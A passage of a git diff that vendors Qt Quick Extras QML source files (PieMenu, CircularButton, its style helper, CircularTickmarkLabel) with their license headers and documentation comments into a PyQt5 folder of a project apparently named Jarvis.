PieMenu can be displayed at any position on the screen. With a traditional + context menu, the menu would be positioned with its top left corner at the + position of the right click, but since PieMenu is radial, we position it + centered over the position of the right click. + + To create a PieMenu that opens after a long press and selects items upon + releasing, you can combine ActivationMode.ActivateOnRelease with a + MouseArea using a Timer: + \code + MouseArea { + id: touchArea + anchors.fill: parent + + Timer { + id: pressAndHoldTimer + interval: 300 + onTriggered: pieMenu.popup(touchArea.mouseX, touchArea.mouseY); + } + + onPressed: pressAndHoldTimer.start() + onReleased: pressAndHoldTimer.stop(); + } + + PieMenu { + id: pieMenu + + triggerMode: TriggerMode.TriggerOnRelease + + MenuItem { + text: "Action 1" + onTriggered: print("Action 1") + } + MenuItem { + text: "Action 2" + onTriggered: print("Action 2") + } + MenuItem { + text: "Action 3" + onTriggered: print("Action 3") + } + } + \endcode + + You can hide individual menu items by setting their visible property to + \c false. Hiding items does not affect the + \l {PieMenuStyle::}{startAngle} or + \l {PieMenuStyle::}{endAngle}; the + remaining items will grow to consume the available space. + + You can create a custom appearance for a PieMenu by assigning a \l {PieMenuStyle} +*/ + +Control { + id: pieMenu + visible: false + + style: Settings.styleComponent(Settings.style, "PieMenuStyle.qml", pieMenu) + + /*! + This property reflects the angle (in radians) created by the imaginary + line from the center of the menu to the position of the cursor. + + Its value is undefined when the menu is not visible. + */ + readonly property real selectionAngle: { + var centerX = width / 2; + var centerY = height / 2; + var targetX = __protectedScope.selectionPos.x; + var targetY = __protectedScope.selectionPos.y; + + var xDistance = centerX - targetX; + var yDistance = centerY - targetY; + + var angleToTarget = Math.atan2(xDistance, yDistance) * -1; + angleToTarget; + } + + /*! + \qmlproperty enumeration PieMenu::activationMode + + This property determines the method for selecting items in the menu. + + \list + \li An activationMode of \a ActivationMode.ActivateOnPress means that menu + items will only be selected when a mouse press event occurs over them. + + \li An activationMode of \a ActivationMode.ActivateOnRelease means that menu + items will only be selected when a mouse release event occurs over them. + This means that the user must keep the mouse button down after opening + the menu and release the mouse over the item they wish to select. + + \li An activationMode of \a ActivationMode.ActivateOnClick means that menu + items will only be selected when the user clicks once over them. + \endlist + + \warning Changing the activationMode while the menu is visible will + result in undefined behavior. + + \deprecated Use triggerMode instead. + */ + property alias activationMode: pieMenu.triggerMode + + /*! + \qmlproperty enumeration PieMenu::triggerMode + + This property determines the method for selecting items in the menu. + + \list + \li A triggerMode of \a TriggerMode.TriggerOnPress means that menu + items will only be selected when a mouse press event occurs over them. + + \li A triggerMode of \a TriggerMode.TriggerOnRelease means that menu + items will only be selected when a mouse release event occurs over them. + This means that the user must keep the mouse button down after opening + the menu and release the mouse over the item they wish to select. + + \li A triggerMode of \a TriggerMode.TriggerOnClick means that menu + items will only be selected when the user clicks once over them. + \endlist + + \warning Changing the triggerMode while the menu is visible will + result in undefined behavior. + */ + property int triggerMode: TriggerMode.TriggerOnClick + + /*! + \qmlproperty list menuItems + + The list of menu items displayed by this menu. + + You can assign menu items by declaring them as children of PieMenu: + \code + PieMenu { + MenuItem { + text: "Action 1" + onTriggered: function() { print("Action 1"); } + } + MenuItem { + text: "Action 2" + onTriggered: function() { print("Action 2"); } + } + MenuItem { + text: "Action 3" + onTriggered: function() { print("Action 3"); } + } + } + \endcode + */ + default property alias menuItems: defaultPropertyHack.menuItems + + QtObject { + // Can't specify a list as a default property (QTBUG-10822) + id: defaultPropertyHack + property list menuItems + } + + /*! + \qmlproperty int PieMenu::currentIndex + + The index of the the menu item that is currently under the mouse, + or \c -1 if there is no such item. + */ + readonly property alias currentIndex: protectedScope.currentIndex + + /*! + \qmlproperty int PieMenu::currentItem + + The menu item that is currently under the mouse, or \c null if there is + no such item. + */ + readonly property alias currentItem: protectedScope.currentItem + + /*! + This property defines the text that is shown above the menu when + there is no current menu item (currentIndex is \c -1). + + The default value is \c "" (an empty string). + */ + property string title: "" + + /*! + The item which the menu must stay within. + + A typical use case for PieMenu involves: + + \list + \li A MouseArea that determines the clickable area within which the + menu can be opened. + \li The bounds that the menu must not go outside of. + \endlist + + Although they sound similar, they have different purposes. Consider the + example below: + + \image piemenu-boundingItem-example.png Canvas boundingItem example + + The user can only open the menu within the inner rectangle. In this + case, they've opened the menu on the edge of the MouseArea, but there + would not be enough room to display the entire menu centered at the + cursor position, so it was moved to the left. + + If for some reason we didn't want this restriction, we can set + boundingItem to \c null: + + \image piemenu-boundingItem-null-example.png Canvas null boundingItem example + + By default, the menu's \l {Item::}{parent} is the boundingItem. + */ + property Item boundingItem: parent + + /*! + \qmlmethod void popup(real x, real y) + + Opens the menu at coordinates \a x, \a y. + */ + function popup(x, y) { + if (x !== undefined) + pieMenu.x = x - pieMenu.width / 2; + if (y !== undefined) + pieMenu.y = y - pieMenu.height / 2; + + pieMenu.visible = true; + } + + /*! + \qmlmethod void addItem(string text) + + Adds a \a text item to the end of the menu items. + + Equivalent to passing calling \c insertItem(menuItems.length, text). + + Returns the newly added item. + */ + function addItem(text) { + return insertItem(menuItems.length, text); + } + + /*! + \qmlmethod void insertItem(int before, string text) + + Inserts a MenuItem with \a text before the index at \a before. + + To insert an item at the end, pass \c menuItems.length. + + Returns the newly inserted item, or \c null if \a before is invalid. + */ + function insertItem(before, text) { + if (before < 0 || before > menuItems.length) { + return null; + } + + var newItems = __protectedScope.copyItemsToJsArray(); + var newItem = Qt.createQmlObject("import QtQuick.Controls 1.1; MenuItem {}", pieMenu, ""); + newItem.text = text; + newItems.splice(before, 0, newItem); + + menuItems = newItems; + return newItem; + } + + /*! + \qmlmethod void removeItem(item) + + Removes \a item from the menu. + */ + function removeItem(item) { + for (var i = 0; i < menuItems.length; ++i) { + if (menuItems[i] === item) { + var newItems = __protectedScope.copyItemsToJsArray(); + + newItems.splice(i, 1); + menuItems = newItems; + break; + } + } + } + + MouseArea { + id: mouseArea + anchors.fill: parent + hoverEnabled: !Settings.hasTouchScreen && triggerMode !== TriggerMode.TriggerOnRelease + acceptedButtons: Qt.LeftButton | Qt.RightButton + onContainsMouseChanged: if (!containsMouse) __protectedScope.currentIndex = -1 + objectName: "PieMenu internal MouseArea" + + // The mouse thief also updates the selectionPos, so we can't bind to + // this mouseArea's mouseX/mouseY. + onPositionChanged: { + __protectedScope.selectionPos = Qt.point(mouseX, mouseY) + } + } + + /*! \internal */ + property alias __mouseThief: mouseThief + + CppUtils.MouseThief { + id: mouseThief + + onPressed: { + __protectedScope.selectionPos = Qt.point(mouseX, mouseY); + if (__protectedScope.handleEvent(ActivationMode.ActivateOnPress)) { + mouseThief.acceptCurrentEvent(); + // We handled the press event, so we can reset this now. + mouseThief.receivedPressEvent = false; + } + } + onReleased: { + __protectedScope.selectionPos = Qt.point(mouseX, mouseY); + if (__protectedScope.handleEvent(ActivationMode.ActivateOnRelease)) { + mouseThief.acceptCurrentEvent(); + // We handled the press event, so we can reset this now. + mouseThief.receivedPressEvent = false; + } + __protectedScope.pressedIndex = -1; + } + onClicked: { + __protectedScope.selectionPos = Qt.point(mouseX, mouseY); + if (__protectedScope.handleEvent(ActivationMode.ActivateOnClick)) { + mouseThief.acceptCurrentEvent(); + } + + // Clicked is the last stage in a click event (press, release, click), + // so we can safely set this to false now. + mouseThief.receivedPressEvent = false; + } + onTouchUpdate: __protectedScope.selectionPos = Qt.point(mouseX, mouseY) + } + + onVisibleChanged: { + // parent check is for when it's created without a parent, + // which we do in the tests, for example. + if (parent) { + if (visible) { + if (boundingItem) + __protectedScope.moveWithinBounds(); + + // We need to grab the mouse so that we can detect released() + // (which is only emitted after pressed(), which our MouseArea can't + // emit as it didn't have focus until we were made visible). + mouseThief.grabMouse(mouseArea); + } else { + mouseThief.ungrabMouse(); + __protectedScope.selectionPos = Qt.point(width / 2, height / 2); + } + } + } + onSelectionAngleChanged: __protectedScope.checkForCurrentItem() + + /*! \internal */ + property QtObject __protectedScope: QtObject { + id: protectedScope + + property int currentIndex: -1 + property MenuItem currentItem: currentIndex != -1 ? visibleItems[currentIndex] : null + property point selectionPos: Qt.point(width / 2, height / 2) + property int pressedIndex: -1 + readonly property var localRect: mapFromItem(mouseArea, mouseArea.mouseX, mouseArea.mouseY) + readonly property var visibleItems: { + var items = []; + for (var i = 0; i < menuItems.length; ++i) { + if (menuItems[i].visible) { + items.push(menuItems[i]); + } + } + return items; + } + + onSelectionPosChanged: __protectedScope.checkForCurrentItem() + + // Can't bind directly, because the menu sets this to (0, 0) on closing. + onLocalRectChanged: { + if (visible) + selectionPos = Qt.point(localRect.x, localRect.y); + } + + function copyItemsToJsArray() { + var newItems = []; + for (var j = 0; j < menuItems.length; ++j) { + newItems.push(menuItems[j]); + } + return newItems; + } + + /*! + Returns \c true if the mouse is over the section at \a itemIndex. + */ + function isMouseOver(itemIndex) { + if (__style == null) + return false; + + // Our mouse angle's origin is north naturally, but the section angles need to be + // altered to have their origin north, so we need to remove the alteration here in order to compare properly. + // For example, section 0 will start at -1.57, whereas we want it to start at 0. + var sectionStart = __protectedScope.sectionStartAngle(itemIndex) + Math.PI / 2; + var sectionEnd = __protectedScope.sectionEndAngle(itemIndex) + Math.PI / 2; + + var selAngle = selectionAngle; + var isWithinOurAngle = false; + + if (sectionStart > CppUtils.MathUtils.pi2) { + sectionStart %= CppUtils.MathUtils.pi2; + } else if (sectionStart < -CppUtils.MathUtils.pi2) { + sectionStart %= -CppUtils.MathUtils.pi2; + } + + if (sectionEnd > CppUtils.MathUtils.pi2) { + sectionEnd %= CppUtils.MathUtils.pi2; + } else if (sectionEnd < -CppUtils.MathUtils.pi2) { + sectionEnd %= -CppUtils.MathUtils.pi2; + } + + // If the section crosses the -180 => 180 wrap-around point (from atan2), + // temporarily rotate the section so it doesn't. + if (sectionStart > Math.PI) { + var difference = sectionStart - Math.PI; + selAngle -= difference; + sectionStart -= difference; + sectionEnd -= difference; + } else if (sectionStart < -Math.PI) { + difference = Math.abs(sectionStart - (-Math.PI)); + selAngle += difference; + sectionStart += difference; + sectionEnd += difference; + } + + if (sectionEnd > Math.PI) { + difference = sectionEnd - Math.PI; + selAngle -= difference; + sectionStart -= difference; + sectionEnd -= difference; + } else if (sectionEnd < -Math.PI) { + difference = Math.abs(sectionEnd - (-Math.PI)); + selAngle += difference; + sectionStart += difference; + sectionEnd += difference; + } + + // If we moved the mouse past -180 or 180, we need to move it back within, + // without changing its actual direction. + if (selAngle > Math.PI) { + selAngle = selAngle - CppUtils.MathUtils.pi2; + } else if (selAngle < -Math.PI) { + selAngle += CppUtils.MathUtils.pi2; + } + + if (sectionStart > sectionEnd) { + isWithinOurAngle = selAngle >= sectionEnd && selAngle < sectionStart; + } else { + isWithinOurAngle = selAngle >= sectionStart && selAngle < sectionEnd; + } + + var x1 = width / 2; + var y1 = height / 2; + var x2 = __protectedScope.selectionPos.x; + var y2 = __protectedScope.selectionPos.y; + var distanceFromCenter = Math.pow(x1 - x2, 2) + Math.pow(y1 - y2, 2); + var cancelRadiusSquared = __style.cancelRadius * __style.cancelRadius; + var styleRadiusSquared = __style.radius * __style.radius; + var isWithinOurRadius = distanceFromCenter >= cancelRadiusSquared + && distanceFromCenter < styleRadiusSquared; + return isWithinOurAngle && isWithinOurRadius; + } + + readonly property real arcRange: endAngleRadians - startAngleRadians + + /*! + The size of one section in radians. + */ + readonly property real sectionSize: arcRange / visibleItems.length + readonly property real startAngleRadians: CppUtils.MathUtils.degToRadOffset(__style.startAngle) + readonly property real endAngleRadians: CppUtils.MathUtils.degToRadOffset(__style.endAngle) + + readonly property real circumferenceOfFullRange: 2 * Math.PI * __style.radius + readonly property real percentageOfFullRange: (arcRange / (Math.PI * 2)) + readonly property real circumferenceOfSection: (sectionSize / arcRange) * (percentageOfFullRange * circumferenceOfFullRange) + + function sectionStartAngle(section) { + var start = startAngleRadians + section * sectionSize; + return start; + } + + function sectionCenterAngle(section) { + return (sectionStartAngle(section) + sectionEndAngle(section)) / 2; + } + + function sectionEndAngle(section) { + var end = startAngleRadians + section * sectionSize + sectionSize; + return end; + } + + function handleEvent(eventType) { + if (!visible) + return false; + + checkForCurrentItem(); + + if (eventType === TriggerMode.TriggerOnPress) + pressedIndex = currentIndex; + + if (eventType === TriggerMode.TriggerOnPress && triggerMode === TriggerMode.TriggerOnClick) { + // We *MUST* accept press events if we plan on also accepting the release + // (aka click, since we create that ourselves) event. If we don't, the + // external mouse area gets the press event but not the release event, + // and won't open until a release event is received, which means until the + // user taps twice on the external mouse area. + // Usually, we accept the current event in the onX MouseThief event handlers above, + // but there we set receivedPressEvent to false if this function says it handled + // the event, which we don't want, since TriggerOnClick is expecting to have + // received a press event. So, we ensure that receivedPressEvent stays true + // by saying we didn't handle the event, even though we actually do. + mouseThief.acceptCurrentEvent(); + return false; + } + + if (triggerMode === eventType) { + if (eventType === TriggerMode.TriggerOnClick && !mouseThief.receivedPressEvent) { + // When the trigger mode is TriggerOnClick, we can't + // act on a click event if we didn't receive the press. + return false; + } + + // Setting visible to false resets the selectionPos to the center + // of the menu, which in turn causes the currentItem check to be re-evaluated, + // which sees that there's no current item because the selectionPos is centered. + // To avoid all of that, we store these variables before setting visible to false. + var currentItemBeforeClosing = currentItem; + var selectionPosBeforeClosing = selectionPos; + var currentIndexBeforeClosing = currentIndex; + + // If the cursor was over an item; trigger it. If it wasn't, + // close our menu regardless. We do this first so that it's + // possible to keep the menu open by setting visible to true in onTriggered. + visible = false; + + if (currentItemBeforeClosing) { + currentItemBeforeClosing.trigger(); + } + + if (visible && !Settings.hasTouchScreen && !Settings.isMobile) { + // The user kept the menu open in onTriggered, so restore the hover stuff. + selectionPos = selectionPosBeforeClosing; + currentIndex = currentIndexBeforeClosing; + } + + // If the trigger mode and event are Release, we should ensure + // that we received a press event beforehand. If we didn't, we shouldn't steal + // the event in MouseThief's event filter. + return mouseThief.receivedPressEvent; + } + return false; + } + + function checkForCurrentItem() { + // Use a temporary varibable because setting currentIndex to -1 here + // will trigger onCurrentIndexChanged. + if (!!visibleItems) { + var hoveredIndex = -1; + for (var i = 0; i < visibleItems.length; ++i) { + if (isMouseOver(i)) { + hoveredIndex = i; + break; + } + } + currentIndex = hoveredIndex; + } + } + + function simplifyAngle(angle) { + var simplified = angle % 360; + if (simplified < 0) + simplified += 360; + return simplified; + } + + function isWithinBottomEdge() { + var start = simplifyAngle(pieMenu.__style.startAngle); + var end = simplifyAngle(pieMenu.__style.endAngle); + return start >= 270 && end <= 90 && ((start < 360 && end <= 360) || (start >= 0 && end > 0)); + } + + function isWithinTopEdge() { + var start = simplifyAngle(pieMenu.__style.startAngle); + var end = simplifyAngle(pieMenu.__style.endAngle); + return start >= 90 && start < 270 && end > 90 && end <= 270; + } + + function isWithinLeftEdge() { + var start = simplifyAngle(pieMenu.__style.startAngle); + var end = simplifyAngle(pieMenu.__style.endAngle); + return (start === 360 || start >= 0) && start < 180 && end > 0 && end <= 180; + } + + function isWithinRightEdge() { + var start = simplifyAngle(pieMenu.__style.startAngle); + var end = simplifyAngle(pieMenu.__style.endAngle); + return start >= 180 && start < 360 && end > 180 && (end === 360 || end === 0); + } + + /*! + Moves the menu if it would open with parts outside of \a rootParent. + */ + function moveWithinBounds() { + // Find the bounding rect of the bounding item in the parent's referential. + var topLeft = boundingItem.mapToItem(pieMenu.parent, 0, 0); + var topRight = boundingItem.mapToItem(pieMenu.parent, boundingItem.width, 0); + var bottomLeft = boundingItem.mapToItem(pieMenu.parent, 0, boundingItem.height); + var bottomRight = boundingItem.mapToItem(pieMenu.parent, boundingItem.width, boundingItem.height); + + // If the boundingItem is rotated, normalize the bounding rect. + topLeft.x = Math.min(topLeft.x, topRight.x, bottomLeft.x, bottomRight.x); + topLeft.y = Math.min(topLeft.y, topRight.y, bottomLeft.y, bottomRight.y); + bottomRight.x = Math.max(topLeft.x, topRight.x, bottomLeft.x, bottomRight.x); + bottomRight.y = Math.max(topLeft.y, topRight.y, bottomLeft.y, bottomRight.y); + + if (pieMenu.x < topLeft.x && !isWithinLeftEdge()) { + // The width and height of the menu is always that of a full circle, + // so the menu is not always outside an edge when it's outside the edge - + // it depends on the start and end angles. + pieMenu.x = topLeft.x; + } else if (pieMenu.x + pieMenu.width > bottomRight.x && !isWithinRightEdge()) { + pieMenu.x = bottomRight.x - pieMenu.width; + } + + if (pieMenu.y < topLeft.y && !isWithinTopEdge()) { + pieMenu.y = topLeft.y; + } else if (pieMenu.y + pieMenu.height > bottomRight.y && !isWithinBottomEdge()) { + pieMenu.y = bottomRight.y - pieMenu.height; + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qmlc new file mode 100644 index 00000000..ab5d0975 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qml new file mode 100644 index 00000000..6a147ebf --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 + +/*! + \internal +*/ +Button { + id: button + style: Settings.styleComponent(Settings.style, "CircularButtonStyle.qml", button) +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qmlc new file mode 100644 index 00000000..9d918562 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qml new file mode 100644 index 00000000..713d727f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qml @@ -0,0 +1,136 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +QtObject { + id: circularButtonStyleHelper + + property Item control + + property color buttonColorUpTop: "#e3e3e3" + property color buttonColorUpBottom: "#b3b3b3" + property color buttonColorDownTop: "#d3d3d3" + property color buttonColorDownBottom: "#939393" + property color outerArcColorTop: "#9c9c9c" + property color outerArcColorBottom: Qt.rgba(0.941, 0.941, 0.941, 0.29) + property color innerArcColorTop: "#e3e3e3" + property color innerArcColorBottom: "#acacac" + property real innerArcColorBottomStop: 0.4 + property color shineColor: Qt.rgba(1, 1, 1, 0.29) + property real smallestAxis: control ? Math.min(control.width, control.height) : 0 + property real outerArcLineWidth: smallestAxis * 0.04 + property real innerArcLineWidth: Math.max(1, outerArcLineWidth * 0.1) + property real shineArcLineWidth: Math.max(1, outerArcLineWidth * 0.1) + property real implicitWidth: Math.round(TextSingleton.implicitHeight * 8) + property real implicitHeight: Math.round(TextSingleton.implicitHeight * 8) + + property color textColorUp: "#4e4e4e" + property color textColorDown: "#303030" + property color textRaisedColorUp: "#ffffff" + property color textRaisedColorDown: "#e3e3e3" + + property real radius: (smallestAxis * 0.5) - outerArcLineWidth - innerArcLineWidth + property real halfRadius: radius / 2 + property real outerArcRadius: innerArcRadius + outerArcLineWidth / 2 + property real innerArcRadius: radius + innerArcLineWidth / 2 + property real shineArcRadius: outerArcRadius + outerArcLineWidth / 2 - shineArcLineWidth / 2 + property real zeroAngle: Math.PI * 0.5 + + property color buttonColorTop: control && control.pressed ? buttonColorDownTop : buttonColorUpTop + property color buttonColorBottom: control && control.pressed ? buttonColorDownBottom : buttonColorUpBottom + + function toPixels(percentageOfSmallestAxis) { + return percentageOfSmallestAxis * smallestAxis; + } + + function paintBackground(ctx) { + ctx.reset(); + + if (outerArcRadius < 0 || radius < 0) + return; + + var xCenter = ctx.canvas.width / 2; + var yCenter = ctx.canvas.height / 2; + + /* Draw outer arc */ + ctx.beginPath(); + ctx.lineWidth = outerArcLineWidth; + ctx.arc(xCenter, yCenter, outerArcRadius, 0, Math.PI * 2, false); + var gradient = ctx.createRadialGradient(xCenter, yCenter - halfRadius, + 0, xCenter, yCenter - halfRadius, radius * 1.5); + gradient.addColorStop(0, outerArcColorTop); + gradient.addColorStop(1, outerArcColorBottom); + ctx.strokeStyle = gradient; + ctx.stroke(); + + /* Draw the shine along the bottom */ + ctx.beginPath(); + ctx.lineWidth = shineArcLineWidth; + ctx.arc(xCenter, yCenter, shineArcRadius, 0, Math.PI, false); + gradient = ctx.createLinearGradient(xCenter, yCenter + radius, xCenter, yCenter); + gradient.addColorStop(0, shineColor); + gradient.addColorStop(0.5, "rgba(255, 255, 255, 0)"); + ctx.strokeStyle = gradient; + ctx.stroke(); + + /* Draw inner arc */ + ctx.beginPath(); + ctx.lineWidth = innerArcLineWidth + 1; + ctx.arc(xCenter, yCenter, innerArcRadius, 0, Math.PI * 2, false); + gradient = ctx.createLinearGradient(xCenter, yCenter - halfRadius, + xCenter, yCenter + halfRadius); + gradient.addColorStop(0, innerArcColorTop); + gradient.addColorStop(innerArcColorBottomStop, innerArcColorBottom); + ctx.strokeStyle = gradient; + ctx.stroke(); + + /* Draw the button's body */ + ctx.beginPath(); + ctx.ellipse(xCenter - radius, yCenter - radius, radius * 2, radius * 2); + gradient = ctx.createRadialGradient(xCenter, yCenter + radius * 0.85, 0, + xCenter, yCenter + radius * 0.85, radius * (0.85 * 2)); + gradient.addColorStop(1, buttonColorTop); + gradient.addColorStop(0, buttonColorBottom); + ctx.fillStyle = gradient; + ctx.fill(); + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qmlc new file mode 100644 index 00000000..c9d5a931 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qml new file mode 100644 index 00000000..997a784b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qml @@ -0,0 +1,145 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +// Workaround for QTBUG-37751; we need this import for RangeModel, although we shouldn't. +import QtQuick.Controls 1.1 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +Control { + id: label + style: Settings.styleComponent(Settings.style, "CircularTickmarkLabelStyle.qml", label) + + property alias minimumValue: range.minimumValue + + property alias maximumValue: range.maximumValue + + property alias stepSize: range.stepSize + + RangeModel { + id: range + minimumValue: 0 + maximumValue: 100 + stepSize: 0 + // Not used. + value: minimumValue + } + + /*! + This property determines the angle at which the first tickmark is drawn. + */ + property real minimumValueAngle: -145 + + /*! + This property determines the angle at which the last tickmark is drawn. + */ + property real maximumValueAngle: 145 + + /*! + The range between \l minimumValueAngle and \l maximumValueAngle, in + degrees. + */ + readonly property real angleRange: maximumValueAngle - minimumValueAngle + + /*! + The interval at which tickmarks are displayed. + */ + property real tickmarkStepSize: 10 + + /*! + The distance in pixels from the outside of the control (outerRadius) at + which the outermost point of the tickmark line is drawn. + */ + property real tickmarkInset: 0.0 + + /*! + The amount of tickmarks displayed. + */ + readonly property int tickmarkCount: __tickmarkCount + + /*! + The amount of minor tickmarks between each tickmark. + */ + property int minorTickmarkCount: 4 + + /*! + The distance in pixels from the outside of the control (outerRadius) at + which the outermost point of the minor tickmark line is drawn. + */ + property real minorTickmarkInset: 0.0 + + /*! + The distance in pixels from the outside of the control (outerRadius) at + which the center of the value marker text is drawn. + */ + property real labelInset: __style.__protectedScope.toPixels(0.19) + + /*! + The interval at which tickmark labels are displayed. + */ + property real labelStepSize: tickmarkStepSize + + /*! + The amount of tickmark labels displayed. + */ + readonly property int labelCount: (maximumValue - minimumValue) / labelStepSize + 1 + + /*! \internal */ + readonly property real __tickmarkCount: tickmarkStepSize > 0 ? (maximumValue - minimumValue) / tickmarkStepSize + 1 : 0 + + /*! + This property determines whether or not the control displays tickmarks, + minor tickmarks, and labels. + */ + property bool tickmarksVisible: true + + /*! + Returns \a value as an angle in degrees. + + For example, if minimumValueAngle is set to \c 270 and maximumValueAngle + is set to \c 90, this function will return \c 270 when passed + minimumValue and \c 90 when passed maximumValue. + */ + function valueToAngle(value) { + var normalised = (value - minimumValue) / (maximumValue - minimumValue); + return (maximumValueAngle - minimumValueAngle) * normalised + minimumValueAngle; + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qmlc new file mode 100644 index 00000000..1df42fb7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qml 